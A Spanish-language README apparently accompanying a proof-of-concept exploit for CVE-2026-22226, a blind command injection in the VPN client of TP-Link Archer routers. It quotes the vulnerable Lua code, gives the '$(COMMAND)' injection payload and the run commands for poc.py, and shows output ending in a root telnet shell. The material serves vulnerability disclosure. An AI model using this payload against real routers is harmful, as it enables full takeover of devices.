
Prueba de concepto para el CVE-2026-22226
Prueba de concepto para CVE-2026-22226
Inyección de comandos del sistema operativo autenticada en el lado LAN en el cliente VPN de los routers Wi-Fi TP-Link Archer
El controlador del cliente VPN almacena la descripción de la entrada controlada por el usuario (des) en la configuración UCI con una expresión regular de validación débil. Cuando la entrada se lee posteriormente (mientras se edita en la WebUI), get_ovpn_data() interpola des en un comando de shell entrecomillado que se pasa a os.execute() sin ninguna sanitización:
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
El carácter de comilla simple (') pasa la expresión regular de validación, lo que es suficiente para escapar del entrecomillado del shell e inyectar comandos mediante la sustitución $(). Un campo des establecido en '$(COMMAND)' convierte el comando en:
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
Tenga en cuenta que la salida del comando nunca se devuelve en la respuesta HTTP, por lo que la inyección es ciega. Es por esto que necesitamos un canal fuera de banda (aquí el script PoC inicia un servidor telnetd para obtener un shell interactivo).
[!Note] Solo probé este script en un TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717), pero es probable que otros dispositivos Archer también sean vulnerables.
Este PoC sigue este proceso:
admin.ovpn ficticiodes envenenado, escapando del contexto de comillas simples e inyectando nuestro payload mediante una sustitución de comandoget_ovpn_data() leyendo la entrada de nuevo, lo que introduce el des envenenado en os.execute()[!Warning] La explotación de esta vulnerabilidad conduce a la ejecución de comandos del sistema operativo como
rooten el router (compromiso total del dispositivo), eludiendo la validación de entrada dedesmediante el carácter de comilla simple permitido.
Las dependencias de Python se declaran en línea en el script, por lo que puede ejecutarlo directamente con un gestor de proyectos Python moderno, o instalarlas manualmente con pip:
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
poc.py$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux